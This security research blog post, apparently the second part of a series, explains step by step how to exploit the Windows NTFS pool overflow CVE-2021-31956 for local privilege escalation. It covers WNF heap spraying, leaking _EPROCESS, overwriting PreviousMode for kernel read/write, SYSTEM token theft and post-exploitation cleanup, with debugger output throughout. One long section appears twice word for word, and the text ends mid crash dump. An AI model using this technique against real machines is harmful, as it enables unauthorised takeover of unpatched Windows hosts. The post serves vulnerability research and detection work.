Introduction
In part 1 the aim was to cover the following:
-
An overview of the vulnerability assigned CVE-2021-31956 (NTFS Paged Pool Memory corruption) and how to trigger
-
An introduction into the Windows Notification Framework (WNF) from an exploitation perspective
-
Exploit primitives which can be built using WNF
In this article I aim to build on that previous knowledge and cover the following areas:
-
Exploitation without the CVE-2021-31955 information disclosure
-
Enabling better exploit primitives through
PreviousMode
-
Reliability, stability and exploit clean-up
-
Thoughts on detection
The version targeted within this blog was Windows 10 20H2 (OS Build 19042.508). However, this approach has been tested on all Windows versions post 19H1 when the segment pool was introduced.
Exploitation without CVE-2021-31955 information disclosure
I hinted in the previous blog post that this vulnerability could likely be exploited without the usage of the separate EPROCESS
address leak vulnerability CVE-2021-31955). This was also realised too by Yan ZiShuang and documented within the blog post.
Typically, for Windows local privilege escalation, once an attacker has achieved arbitrary write or kernel code execution then the aim will be to escalate privileges for their associated userland process or pan a privileged command shell. Windows processes have an associated kernel structure called _EPROCESS which acts as the process object for that process. Within this structure, there is a Token
member which represents the process’s security context and contains things such as the token privileges, token types, session id etc.
CVE-2021-31955 lead to an information disclosure of the address of the _EPROCESS
for each running process on the system and was understood to be used by the in-the-wild attacks found by Kaspersky. However, in practice for exploitation of CVE-2021-31956 this separate vulnerability is not needed.
This is due to the _EPROCESS
pointer being contained within the _WNF_NAME_INSTANCE
as the CreatorProcess
member:
nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
+0x010 TreeLinks : _RTL_BALANCED_NODE
+0x028 StateName : _WNF_STATE_NAME_STRUCT
+0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE
+0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION
+0x050 StateDataLock : _WNF_LOCK
+0x058 StateData : Ptr64 _WNF_STATE_DATA
+0x060 CurrentChangeStamp : Uint4B
+0x068 PermanentDataStore : Ptr64 Void
+0x070 StateSubscriptionListLock : _WNF_LOCK
+0x078 StateSubscriptionListHead : _LIST_ENTRY
+0x088 TemporaryNameListEntry : _LIST_ENTRY
+0x098 CreatorProcess : Ptr64 _EPROCESS
+0x0a0 DataSubscribersCount : Int4B
+0x0a4 CurrentDeliveryCount : Int4B
Therefore, provided that it is possible to get a relative read/write primitive using a _WNF_STATE_DATA
to be able to read and{write to a subsequent _WNF_NAME_INSTANCE
, we can then overwrite the StateData
pointer to point at an arbitrary location and also read the CreatorProcess
address to obtain the address of the _EPROCESS
structure within memory.
The initial pool layout we are aiming is as follows:
The difficulty with this is that due to the low fragmentation heap (LFH) randomisation, it makes reliably achieving this memory layout more difficult and iteration one of this exploit stayed away from the approach until more research was performed into improving the general reliability and reducing the chances of a BSOD.
As an example, under normal scenarios you might end up with the following allocation pattern for a number of sequentially allocated blocks:
In the absense of an LFH "Heap Randomisation" weakness or vulnerability, then this post explains how it is possible to achieve a "reasonably" high level of exploitation success and what necessary cleanups need to occur in order to maintain system stability post exploitation.
Stage 1: The Spray and Overflow
Starting from where we left off in the first article, we need to go back and rework the spray and overflow.
Firstly, our _WNF_NAME_INSTANCE
is 0xA8
+ the POOL_HEADER
(0x10), so 0xB8
in size. As mentioned previously this gets put into a chunk of size 0xC0
.
We also need to spray _WNF_STATE_DATA
objects of size 0xA0
(which when added with the header 0x10
+ the POOL_HEADER
(0x10) we also end up with a chunk allocated of 0xC0
.
As mentioned within part 1 of the article, since we can control the size of the vulnerable allocation we can also ensure that our overflowing NTFS extended attribute chunk is also allocated within the 0xC0
segment.
However, we cannot deterministically know which object will be adjacent to our vulnerable NTFS chunk (as mentioned above), we cannot take a similar approach of free’ing holes as in the past article and then reusing the resulting holes, as both the _WNF_STATE_DATA
and _WNF_NAME_INSTANCE
objects are allocated at the same time, and we need both present within the same pool segment.
Therefore, we need to be very careful with the overflow. We make sure that only the following fields are overflowed by 0x10
bytes (and the POOL_HEADER
).
In the case of a corrupted _WNF_NAME_INSTANCE
, both the Header
and RunRef
members will be overflowed:
nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
In the case of a corrupted _WNF_STATE_DATA
, the Header
, AllocatedSize
, DataSize
and ChangeTimestamp
members will be overflowed:
nt!_WNF_STATE_DATA
+0x000 Header : _WNF_NODE_HEADER
+0x004 AllocatedSize : Uint4B
+0x008 DataSize : Uint4B
+0x00c ChangeStamp : Uint4B
As we don’t know if we are going to overflow a _WNF_NAME_INSTANCE
or a _WNF_STATE_DATA
first, then we can trigger the overflow and check for corruption by loop through querying each _WNF_STATE_DATA
using NtQueryWnfStateData
.
If we detect corruption, then we know we have identified our _WNF_STATE_DATA
object. If not, then we can repeatedly trigger the spray and overflow until we have obtained a _WNF_STATE_DATA
object which allows a read/write across the pool subsegment.
There are a few problems with this approach, some which can be addressed and some which there is not a perfect solution for:
-
We only want to corrupt
_WNF_STATE_DATA
objects but the pool segment also contains_WNF_NAME_INSTANCE
objects due to needing to be the same size. Using only a0x10
data size overflow and cleaning up afterwards (as described in the Kernel Memory Cleanup section) means that this issue does not cause a problem. -
Occasionally our unbounded
_WNF_STATA_DATA
containing chunk can be allocated within the final block within the pool segment. This means that when querying withNtQueryWnfStateData
an unmapped memory read will occur off the end of the page. This rarely happens in practice and increasing the spray size reduces the likelihood of this occurring (see Exploit Testing and Statistics section). -
Other operating system functionality may make an allocation within the
0xC0
pool segment and lead to corruption and instability. By performing a large spray size before triggering the overflow, from practical testing, this seems to rarely happen within the test environment.
I think it’s useful to document these challenges with modern memory corruption exploitation techniques where it’s not always possible to gain 100% reliability.
Overall with 1) remediated and 2+3 only occurring very rarely, in lieu of a perfect solution we can move to the next stage.
Stage 2: Locating a _WNF_NAME_INSTANCE and overwriting the StateData pointer
Once we have unbounded our _WNF_STATE_DATA
by overflowing the DataSize
and AllocatedSize
as described above, and within the first blog post, then we can then use the relative read to locate an adjacent _WNF_NAME_INSTANCE
.
By scanning through the memory we can locate the pattern "x03x09xa8" which denotes the start of a _WNF_NAME_INSTANCE
and from this obtain the interesting member variables.
The CreatorProcess
, StateName
, StateData
, ScopeInstance
can be disclosed from the identified target object.
We can then use the relative write to replace the StateData
pointer with an arbitrary location which is desired for our read and write primitive. For example, an offset within the _EPROCESS
structure based on the address which has been obtained from CreatorProcess
.
Care needs to be taken here to ensure that the new location StateData
points at overlaps with sane values for the AllocatedSize
, DataSize
values preceding the data wishing to be read or written.
In this case the aim was to achieve a full arbitrary read and write but without having the constraints of needing to find sane and reliable AllocatedSize
and DataSize
values prior to the memory which it was desired to write too.
Our overall goal was to target the KTHREAD
structure’s PreviousMode
member and then make use of make use of the APIs NtReadVirtualMemory
and NtWriteVirtualMemory
to enable a more flexible arbitrary read and write.
It helps to have a good understanding of how these kernel memory structure are used to understand how this works. In a massively simplified overview, the kernel mode portion of Windows contains a number of subsystems. The hardware abstraction layer (HAL), the executive subsystems and the kernel. _EPROCESS
is part of the executive layer which deals with general OS policy and operations. The kernel subsystem handles architecture specific details for low level operations and the HAL provides a abstraction layer to deal with differences between hardware.
Processes and threads are represeted at both the executive and kernel "layer" within kernel memory as _EPROCESS
and _KPROCESS
and _ETHREAD
and _KTHREAD
structures respectively.
The documentation on PreviousMode
states "When a user-mode application calls the Nt or Zw version of a native system services routine, the system call mechanism traps the calling thread to kernel mode. To indicate that the parameter values originated in user mode, the trap handler for the system call sets the PreviousMode field in the thread object of the caller to UserMode. The native system services routine checks the PreviousMode field of the calling thread to determine whether the parameters are from a user-mode source."
Looking at MiReadWriteVirtualMemory
which is called from NtWriteVirtualMemory
we can see that if PreviousMode
is not set when a user-mode thread executes, then the address validation is skipped and kernel memory space addresses can be written too:
__int64 __fastcall MiReadWriteVirtualMemory( HANDLE Handle, size_t BaseAddress, size_t Buffer, size_t NumberOfBytesToWrite, __int64 NumberOfBytesWritten, ACCESS_MASK DesiredAccess) { int v7; // er13 __int64 v9; // rsi struct _KTHREAD *CurrentThread; // r14 KPROCESSOR_MODE PreviousMode; // al _QWORD *v12; // rbx __int64 v13; // rcx NTSTATUS v14; // edi _KPROCESS *Process; // r10 PVOID v16; // r14 int v17; // er9 int v18; // er8 int v19; // edx int v20; // ecx NTSTATUS v21; // eax int v22; // er10 char v24; // [rsp+40h] [rbp-48h] __int64 v25; // [rsp+48h] [rbp-40h] BYREF PVOID Object[2]; // [rsp+50h] [rbp-38h] BYREF int v27; // [rsp+A0h] [rbp+18h] v27 = Buffer; v7 = BaseAddress; v9 = 0i64; Object[0] = 0i64; CurrentThread = KeGetCurrentThread(); PreviousMode = CurrentThread->PreviousMode; v24 = PreviousMode; if ( PreviousMode ) { if ( NumberOfBytesToWrite + BaseAddress < BaseAddress || NumberOfBytesToWrite + BaseAddress > 0x7FFFFFFF0000i64 || Buffer + NumberOfBytesToWrite < Buffer || Buffer + NumberOfBytesToWrite > 0x7FFFFFFF0000i64 ) { return 3221225477i64; } v12 = (_QWORD *)NumberOfBytesWritten; if ( NumberOfBytesWritten ) { v13 = NumberOfBytesWritten; if ( (unsigned __int64)NumberOfBytesWritten >= 0x7FFFFFFF0000i64 ) v13 = 0x7FFFFFFF0000i64; *(_QWORD *)v13 = *(_QWORD *)v13; } }
This technique was also covered previously within the NCC Group blog post on Exploiting Windows KTM too.
So how would we go about locating PreviousMode
based on the address of _EPROCESS
obtained from our relative read of CreatorProcess
? At the start of the _EPROCESS
structure, _KPROCESS
is included as Pcb
.
dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
Within _KPROCESS
we have the following:
dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_KPROCESS *)0xffffd186087b1300))
(*((ntdll!_KPROCESS *)0xffffd186087b1300)) [Type: _KPROCESS]
[+0x000] Header [Type: _DISPATCHER_HEADER]
[+0x018] ProfileListHead [Type: _LIST_ENTRY]
[+0x028] DirectoryTableBase : 0xa3b11000 [Type: unsigned __int64]
[+0x030] ThreadListHead [Type: _LIST_ENTRY]
[+0x040] ProcessLock : 0x0 [Type: unsigned long]
[+0x044] ProcessTimerDelay : 0x0 [Type: unsigned long]
[+0x048] DeepFreezeStartTime : 0x0 [Type: unsigned __int64]
[+0x050] Affinity [Type: _KAFFINITY_EX]
[+0x0f8] AffinityPadding [Type: unsigned __int64 [12]]
[+0x158] ReadyListHead [Type: _LIST_ENTRY]
[+0x168] SwapListEntry [Type: _SINGLE_LIST_ENTRY]
[+0x170] ActiveProcessors [Type: _KAFFINITY_EX]
[+0x218] ActiveProcessorsPadding [Type: unsigned __int64 [12]]
[+0x278 ( 0: 0)] AutoAlignment : 0x0 [Type: unsigned long]
[+0x278 ( 1: 1)] DisableBoost : 0x0 [Type: unsigned long]
[+0x278 ( 2: 2)] DisableQuantum : 0x0 [Type: unsigned long]
[+0x278 ( 3: 3)] DeepFreeze : 0x0 [Type: unsigned long]
[+0x278 ( 4: 4)] TimerVirtualization : 0x0 [Type: unsigned long]
[+0x278 ( 5: 5)] CheckStackExtents : 0x0 [Type: unsigned long]
[+0x278 ( 6: 6)] CacheIsolationEnabled : 0x0 [Type: unsigned long]
[+0x278 ( 9: 7)] PpmPolicy : 0x7 [Type: unsigned long]
[+0x278 (10:10)] VaSpaceDeleted : 0x0 [Type: unsigned long]
[+0x278 (31:11)] ReservedFlags : 0x0 [Type: unsigned long]
[+0x278] ProcessFlags : 896 [Type: long]
[+0x27c] ActiveGroupsMask : 0x1 [Type: unsigned long]
[+0x280] BasePriority : 8 [Type: char]
[+0x281] QuantumReset : 6 [Type: char]
[+0x282] Visited : 0 [Type: char]
[+0x283] Flags [Type: _KEXECUTE_OPTIONS]
[+0x284] ThreadSeed [Type: unsigned short [20]]
[+0x2ac] ThreadSeedPadding [Type: unsigned short [12]]
[+0x2c4] IdealProcessor [Type: unsigned short [20]]
[+0x2ec] IdealProcessorPadding [Type: unsigned short [12]]
[+0x304] IdealNode [Type: unsigned short [20]]
[+0x32c] IdealNodePadding [Type: unsigned short [12]]
[+0x344] IdealGlobalNode : 0x0 [Type: unsigned short]
[+0x346] Spare1 : 0x0 [Type: unsigned short]
[+0x348] StackCount [Type: _KSTACK_COUNT]
[+0x350] ProcessListEntry [Type: _LIST_ENTRY]
[+0x360] CycleTime : 0x0 [Type: unsigned __int64]
[+0x368] ContextSwitches : 0x0 [Type: unsigned __int64]
[+0x370] SchedulingGroup : 0x0 [Type: _KSCHEDULING_GROUP *]
[+0x378] FreezeCount : 0x0 [Type: unsigned long]
[+0x37c] KernelTime : 0x0 [Type: unsigned long]
[+0x380] UserTime : 0x0 [Type: unsigned long]
[+0x384] ReadyTime : 0x0 [Type: unsigned long]
[+0x388] UserDirectoryTableBase : 0x0 [Type: unsigned __int64]
[+0x390] AddressPolicy : 0x0 [Type: unsigned char]
[+0x391] Spare2 [Type: unsigned char [71]]
[+0x3d8] InstrumentationCallback : 0x0 [Type: void *]
[+0x3e0] SecureState [Type: ]
[+0x3e8] KernelWaitTime : 0x0 [Type: unsigned __int64]
[+0x3f0] UserWaitTime : 0x0 [Type: unsigned __int64]
[+0x3f8] EndPadding [Type: unsigned __int64 [8]]
There is a member ThreadListHead
which is a doubly linked list of _KTHREAD
.
If the exploit only has one thread, then the Flink
will be a pointer to an offset from the start of the _KTHREAD
:
dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_LIST_ENTRY *)0xffffd186087b1330))
(*((ntdll!_LIST_ENTRY *)0xffffd186087b1330)) [Type: _LIST_ENTRY]
[+0x000] Flink : 0xffffd18606a54378 [Type: _LIST_ENTRY *]
[+0x008] Blink : 0xffffd18608840378 [Type: _LIST_ENTRY *]
From this we can calculate the base address of the _KTHREAD
using the offset of 0x2F8
i.e. the ThreadListEntry
offset.
0xffffd18606a54378 - 0x2F8 = 0xffffd18606a54080
We can check this correct (and see we hit our breakpoint in the previous article):
This technique was also covered previously within the NCC Group blog post on Exploiting Windows KTM too.
So how would we go about locating PreviousMode
based on the address of _EPROCESS
obtained from our relative read of CreatorProcess
? At the start of the _EPROCESS
structure, _KPROCESS
is included as Pcb
.
dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
Within _KPROCESS
we have the following:
dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_KPROCESS *)0xffffd186087b1300))
(*((ntdll!_KPROCESS *)0xffffd186087b1300)) [Type: _KPROCESS]
[+0x000] Header [Type: _DISPATCHER_HEADER]
[+0x018] ProfileListHead [Type: _LIST_ENTRY]
[+0x028] DirectoryTableBase : 0xa3b11000 [Type: unsigned __int64]
[+0x030] ThreadListHead [Type: _LIST_ENTRY]
[+0x040] ProcessLock : 0x0 [Type: unsigned long]
[+0x044] ProcessTimerDelay : 0x0 [Type: unsigned long]
[+0x048] DeepFreezeStartTime : 0x0 [Type: unsigned __int64]
[+0x050] Affinity [Type: _KAFFINITY_EX]
[+0x0f8] AffinityPadding [Type: unsigned __int64 [12]]
[+0x158] ReadyListHead [Type: _LIST_ENTRY]
[+0x168] SwapListEntry [Type: _SINGLE_LIST_ENTRY]
[+0x170] ActiveProcessors [Type: _KAFFINITY_EX]
[+0x218] ActiveProcessorsPadding [Type: unsigned __int64 [12]]
[+0x278 ( 0: 0)] AutoAlignment : 0x0 [Type: unsigned long]
[+0x278 ( 1: 1)] DisableBoost : 0x0 [Type: unsigned long]
[+0x278 ( 2: 2)] DisableQuantum : 0x0 [Type: unsigned long]
[+0x278 ( 3: 3)] DeepFreeze : 0x0 [Type: unsigned long]
[+0x278 ( 4: 4)] TimerVirtualization : 0x0 [Type: unsigned long]
[+0x278 ( 5: 5)] CheckStackExtents : 0x0 [Type: unsigned long]
[+0x278 ( 6: 6)] CacheIsolationEnabled : 0x0 [Type: unsigned long]
[+0x278 ( 9: 7)] PpmPolicy : 0x7 [Type: unsigned long]
[+0x278 (10:10)] VaSpaceDeleted : 0x0 [Type: unsigned long]
[+0x278 (31:11)] ReservedFlags : 0x0 [Type: unsigned long]
[+0x278] ProcessFlags : 896 [Type: long]
[+0x27c] ActiveGroupsMask : 0x1 [Type: unsigned long]
[+0x280] BasePriority : 8 [Type: char]
[+0x281] QuantumReset : 6 [Type: char]
[+0x282] Visited : 0 [Type: char]
[+0x283] Flags [Type: _KEXECUTE_OPTIONS]
[+0x284] ThreadSeed [Type: unsigned short [20]]
[+0x2ac] ThreadSeedPadding [Type: unsigned short [12]]
[+0x2c4] IdealProcessor [Type: unsigned short [20]]
[+0x2ec] IdealProcessorPadding [Type: unsigned short [12]]
[+0x304] IdealNode [Type: unsigned short [20]]
[+0x32c] IdealNodePadding [Type: unsigned short [12]]
[+0x344] IdealGlobalNode : 0x0 [Type: unsigned short]
[+0x346] Spare1 : 0x0 [Type: unsigned short]
[+0x348] StackCount [Type: _KSTACK_COUNT]
[+0x350] ProcessListEntry [Type: _LIST_ENTRY]
[+0x360] CycleTime : 0x0 [Type: unsigned __int64]
[+0x368] ContextSwitches : 0x0 [Type: unsigned __int64]
[+0x370] SchedulingGroup : 0x0 [Type: _KSCHEDULING_GROUP *]
[+0x378] FreezeCount : 0x0 [Type: unsigned long]
[+0x37c] KernelTime : 0x0 [Type: unsigned long]
[+0x380] UserTime : 0x0 [Type: unsigned long]
[+0x384] ReadyTime : 0x0 [Type: unsigned long]
[+0x388] UserDirectoryTableBase : 0x0 [Type: unsigned __int64]
[+0x390] AddressPolicy : 0x0 [Type: unsigned char]
[+0x391] Spare2 [Type: unsigned char [71]]
[+0x3d8] InstrumentationCallback : 0x0 [Type: void *]
[+0x3e0] SecureState [Type: ]
[+0x3e8] KernelWaitTime : 0x0 [Type: unsigned __int64]
[+0x3f0] UserWaitTime : 0x0 [Type: unsigned __int64]
[+0x3f8] EndPadding [Type: unsigned __int64 [8]]
There is a member ThreadListHead
which is a doubly linked list of _KTHREAD
.
If the exploit only has one thread, then the Flink
will be a pointer to an offset from the start of the _KTHREAD
:
dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_LIST_ENTRY *)0xffffd186087b1330))
(*((ntdll!_LIST_ENTRY *)0xffffd186087b1330)) [Type: _LIST_ENTRY]
[+0x000] Flink : 0xffffd18606a54378 [Type: _LIST_ENTRY *]
[+0x008] Blink : 0xffffd18608840378 [Type: _LIST_ENTRY *]
From this we can calculate the base address of the _KTHREAD
using the offset of 0x2F8
i.e. the ThreadListEntry
offset.
0xffffd18606a54378 - 0x2F8 = 0xffffd18606a54080
We can check this correct (and see we hit our breakpoint in the previous article):
0: kd> !thread 0xffffd18606a54080
THREAD ffffd18606a54080 Cid 1da0.1da4 Teb: 000000ce177e0000 Win32Thread: 0000000000000000 RUNNING on processor 0
IRP List:
ffffd18608002050: (0006,0430) Flags: 00060004 Mdl: 00000000
Not impersonating
DeviceMap ffffba0cc30c6630
Owning Process ffffd186087b1300 Image: amberzebra.exe
Attached Process N/A Image: N/A
Wait Start TickCount 2344 Ticks: 1 (0:00:00:00.015)
Context Switch Count 149 IdealProcessor: 1
UserTime 00:00:00.000
KernelTime 00:00:00.015
Win32 Start Address 0x00007ff6da2c305c
Stack Init ffffd0096cdc6c90 Current ffffd0096cdc6530
Base ffffd0096cdc7000 Limit ffffd0096cdc1000 Call 0000000000000000
Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
Child-SP RetAddr : Args to Child : Call Site
ffffd009`6cdc62a8 fffff805`5a99bc7a : 00000000`00000000 00000000`000000d0 00000000`00000000 ffffba0c`00000000 : Ntfs!NtfsQueryEaUserEaList
ffffd009`6cdc62b0 fffff805`5a9fc8a6 : ffffd009`6cdc6560 ffffd186`08002050 ffffd186`08002300 ffffd186`06a54000 : Ntfs!NtfsCommonQueryEa+0x22a
ffffd009`6cdc6410 fffff805`5a9fc600 : ffffd009`6cdc6560 ffffd186`08002050 ffffd186`08002050 ffffd009`6cdc7000 : Ntfs!NtfsFsdDispatchSwitch+0x286
ffffd009`6cdc6540 fffff805`570d1f35 : ffffd009`6cdc68b0 fffff805`54704b46 ffffd009`6cdc7000 ffffd009`6cdc1000 : Ntfs!NtfsFsdDispatchWait+0x40
ffffd009`6cdc67e0 fffff805`54706ccf : ffffd186`02802940 ffffd186`00000030 00000000`00000000 00000000`00000000 : nt!IofCallDriver+0x55
ffffd009`6cdc6820 fffff805`547048d3 : ffffd009`6cdc68b0 00000000`00000000 00000000`00000001 ffffd186`03074bc0 : FLTMGR!FltpLegacyProcessingAfterPreCallbacksCompleted+0x28f
ffffd009`6cdc6890 fffff805`570d1f35 : ffffd186`08002050 00000000`000000c0 00000000`000000c8 00000000`000000a4 : FLTMGR!FltpDispatch+0xa3
ffffd009`6cdc68f0 fffff805`574a6fb8 : ffffd186`08002050 00000000`00000000 00000000`00000000 fffff805`577b2094 : nt!IofCallDriver+0x55
ffffd009`6cdc6930 fffff805`57455834 : 000000ce`00000000 ffffd009`6cdc6b80 ffffd186`084eb7b0 ffffd009`6cdc6b80 : nt!IopSynchronousServiceTail+0x1a8
ffffd009`6cdc69d0 fffff805`572058b5 : ffffd186`06a54080 000000ce`178fdae8 000000ce`178feba0 00000000`000000a3 : nt!NtQueryEaFile+0x484
ffffd009`6cdc6a90 00007fff`0bfae654 : 00007ff6`da2c14dd 00007ff6`da2c4490 00000000`000000a3 000000ce`178fbee8 : nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffffd009`6cdc6b00)
000000ce`178fdac8 00007ff6`da2c14dd : 00007ff6`da2c4490 00000000`000000a3 000000ce`178fbee8 0000026e`edf509ba : ntdll!NtQueryEaFile+0x14
000000ce`178fdad0 00007ff6`da2c4490 : 00000000`000000a3 000000ce`178fbee8 0000026e`edf509ba 00000000`00000000 : 0x00007ff6`da2c14dd
000000ce`178fdad8 00000000`000000a3 : 000000ce`178fbee8 0000026e`edf509ba 00000000`00000000 000000ce`178fdba0 : 0x00007ff6`da2c4490
000000ce`178fdae0 000000ce`178fbee8 : 0000026e`edf509ba 00000000`00000000 000000ce`178fdba0 000000ce`00000017 : 0xa3
000000ce`178fdae8 0000026e`edf509ba : 00000000`00000000 000000ce`178fdba0 000000ce`00000017 00000000`00000000 : 0x000000ce`178fbee8
000000ce`178fdaf0 00000000`00000000 : 000000ce`178fdba0 000000ce`00000017 00000000`00000000 0000026e`00000001 : 0x0000026e`edf509ba
So we now know how to calculate the address of the `_KTHREAD` kernel data structure which is associated with our running exploit thread.
At the end of stage 2 we have the following memory layout:
Stage 3 – Abusing PreviousMode
Once we have set the StateData
pointer of the _WNF_NAME_INSTANCE
prior to the _KPROCESS
ThreadListHead Flink
we can leak out the value by confusing it with the DataSize
and the ChangeTimestamp
, we can then calculate the FLINK
as “FLINK = (uintptr_t)ChangeTimestamp << 32 | DataSize` after querying the object.
This allows us to calculate the _KTHREAD
address using FLINK - 0x2f8
.
Once we have the address of the _KTHREAD
we need to again find a sane value to confuse with the AllocatedSize
and DataSize
to allow reading and writing of PreviousMode
value at offset 0x232
.
In this case, pointing it into here:
+0x220 Process : 0xffff900f`56ef0340 _KPROCESS
+0x228 UserAffinity : _GROUP_AFFINITY
+0x228 UserAffinityFill : [10] quot;??? quot;
Gives the following "sane" values:
dt _WNF_STATE_DATA FLINK-0x2f8+0x220
nt!_WNF_STATE_DATA
+ 0x000 Header : _WNF_NODE_HEADER
+ 0x004 AllocatedSize : 0xffff900f
+ 0x008 DataSize : 3
+ 0x00c ChangeStamp : 0
Allowing the most significant word of the Process
pointer shown above to be used as the AllocatedSize
and the UserAffinity
to act as the DataSize
. Incidentally, we can actually influence this value used for DataSize
using SetProcessAffinityMask
or launching the process with start /affinity exploit.exe
but for our purposes of being able to read and write PreviousMode
this is fine.
Visually this looks as follows after the StateData
has been modified:
This gives a 3 byte read (and up to 0xffff900f bytes write if needed – but we only need 3 bytes), of which the PreviousMode
is included (i.e set to 1 before modification):
00 00 01 00 00 00 00 00 00 00 | ..........
Using the most significant word of the pointer with it always being a kernel mode address, should ensure that this is a sufficient AllocatedSize
to enable overwriting PreviousMode
.
Post Exploitation
Once we have set PreviousMode
to 0, as mentioned above, this now gives an unconstrained read/write across the whole kernel memory space using NtWriteVirtualMemory
and NtReadVirtualMemory
. This is a very powerful method and demonstrates how moving from an awkward to use arbitrary read/write to a better method which enables easier post exploitation and enhanced clean up options.
It is then trivial to walk the ActiveProcessLinks
within the EPROCESS
, obtain a pointer to a SYSTEM
token and replace the existing token with this or to perform escalation by overwriting the _SEP_TOKEN_PRIVILEGES
for the existing token using techniques which have been long used by Windows exploits.
Kernel Memory Cleanup
OK, so the above is good enough for a proof of concept exploit but due to the potentially large amount of memory writes needing to occur for exploit success, then it could leave the kernel in a bad state. Also, when the process terminates then certain memory locations which have been overwritten could trigger a BSOD when that corrupted memory is used.
This part of the exploitation process is often overlooked by proof of concept exploit writers but is often the most challenging for use in real world scenario’s (red teams / simulated attacks etc) where stability and reliability are important. Going through this process also helps understand how these types of attacks can also be detected.
This section of the blog describes some improvements which can be made in this area.
PreviousMode Restoration
On the version of Windows tested, if we try to launch a new process as SYSTEM but PreviousMode
is still set to 0. Then we end up with the following crash:
```
Access violation - code c0000005 (!!! second chance !!!)
nt!PspLocateInPEManifest+0xa9:
fffff804`502f1bb5 0fba68080d bts dword ptr [rax+8],0Dh
0: kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00 ffff8583`c6259c90 fffff804`502f0689 : 00000195`b24ec500 00000000`00000000 00000000`00000428 00007ff6`00000000 : nt!PspLocateInPEManifest+0xa9
01 ffff8583`c6259d00 fffff804`501f19d0 : 00000000`000022aa ffff8583`c625a350 00000000`00000000 00000000`00000000 : nt!PspSetupUserProcessAddressSpace+0xdd
02 ffff8583`c6259db0 fffff804`5021ca6d : 00000000`00000000 ffff8583`c625a350 00000000`00000000 00000000`00000000 : nt!PspAllocateProcess+0x11a4
03 ffff8583`c625a2d0 fffff804`500058b5 : 00000000`00000002 00000000`00000001 00000000`00000000 00000195`b24ec560 : nt!NtCreateUserProcess+0x6ed
04 ffff8583`c625aa90 00007ffd`b35cd6b4 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffff8583`c625ab00)
05 0000008c`c853e418 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!NtCreateUserProcess+0x14
```
More research needs to be performed to determine if this is necessary on prior versions or if this was a recently introduced change.
This can be fixed simply by using our NtWriteVirtualMemory
APIs to restore the PreviousMode
value to 1 before launching the cmd.exe shell.
StateData Pointer Restoration
The _WNF_STATE_DATA
StateData
pointer is free’d when the _WNF_NAME_INSTANCE
is freed on process termination (incidentially also an arbitrary free). If this is not restored to the original value, we will end up with a crash as follows:
00 ffffdc87`2a708cd8 fffff807`27912082 : ffffdc87`2a708e40 fffff807`2777b1d0 00000000`00000100 00000000`00000000 : nt!DbgBreakPointWithStatus
01 ffffdc87`2a708ce0 fffff807`27911666 : 00000000`00000003 ffffdc87`2a708e40 fffff807`27808e90 00000000`0000013a : nt!KiBugCheckDebugBreak+0x12
02 ffffdc87`2a708d40 fffff807`277f3fa7 : 00000000`00000003 00000000`00000023 00000000`00000012 00000000`00000000 : nt!KeBugCheck2+0x946
03 ffffdc87`2a709450 fffff807`2798d938 : 00000000`0000013a 00000000`00000012 ffffa409`6ba02100 ffffa409`7120a000 : nt!KeBugCheckEx+0x107
04 ffffdc87`2a709490 fffff807`2798d998 : 00000000`00000012 ffffdc87`2a7095a0 ffffa409`6ba02100 fffff807`276df83e : nt!RtlpHeapHandleError+0x40
05 ffffdc87`2a7094d0 fffff807`2798d5c5 : ffffa409`7120a000 ffffa409`6ba02280 ffffa409`6ba02280 00000000`00000001 : nt!RtlpHpHeapHandleError+0x58
06 ffffdc87`2a709500 fffff807`2786667e : ffffa409`71293280 00000000`00000001 00000000`00000000 ffffa409`6f6de600 : nt!RtlpLogHeapFailure+0x45
07 ffffdc87`2a709530 fffff807`276cbc44 : 00000000`00000000 ffffb504`3b1aa7d0 00000000`00000000 ffffb504`00000000 : nt!RtlpHpVsContextFree+0x19954e
08 ffffdc87`2a7095d0 fffff807`27db2019 : 00000000`00052d20 ffffb504`33ea4600 ffffa409`712932a0 01000000`00100000 : nt!ExFreeHeapPool+0x4d4
09 ffffdc87`2a7096b0 fffff807`27a5856b : ffffb504`00000000 ffffb504`00000000 ffffb504`3b1ab020 ffffb504`00000000 : nt!ExFreePool+0x9
0a ffffdc87`2a7096e0 fffff807`27a58329 : 00000000`00000000 ffffa409`712936d0 ffffa409`712936d0 ffffb504`00000000 : nt!ExpWnfDeleteStateData+0x8b
0b ffffdc87`2a709710 fffff807`27c46003 : ffffffff`ffffffff ffffb504`3b1ab020 ffffb504`3ab0f780 00000000`00000000 : nt!ExpWnfDeleteNameInstance+0x1ed
0c ffffdc87`2a709760 fffff807`27b0553e : 00000000`00000000 ffffdc87`2a709990 00000000`00000000 00000000`00000000 : nt!ExpWnfDeleteProcessContext+0x140a9b
0d ffffdc87`2a7097a0 fffff807`27a9ea7f : ffffa409`7129d080 ffffb504`336506a0 ffffdc87`2a709990 00000000`00000000 : nt!ExWnfExitProcess+0x32
0e ffffdc87`2a7097d0 fffff807`279f4558 : 00000000`c000013a 00000000`00000001 ffffdc87`2a7099e0 00000055`8b6d6000 : nt!PspExitThread+0x5eb
0f ffffdc87`2a7098d0 fffff807`276e6ca7 : 00000000`00000000 00000000`00000000 00000000`00000000 fffff807`276f0ee6 : nt!KiSchedulerApcTerminate+0x38
10 ffffdc87`2a709910 fffff807`277f8440 : 00000000`00000000 ffffdc87`2a7099c0 ffffdc87`2a709b80 ffffffff`00000000 : nt!KiDeliverApc+0x487
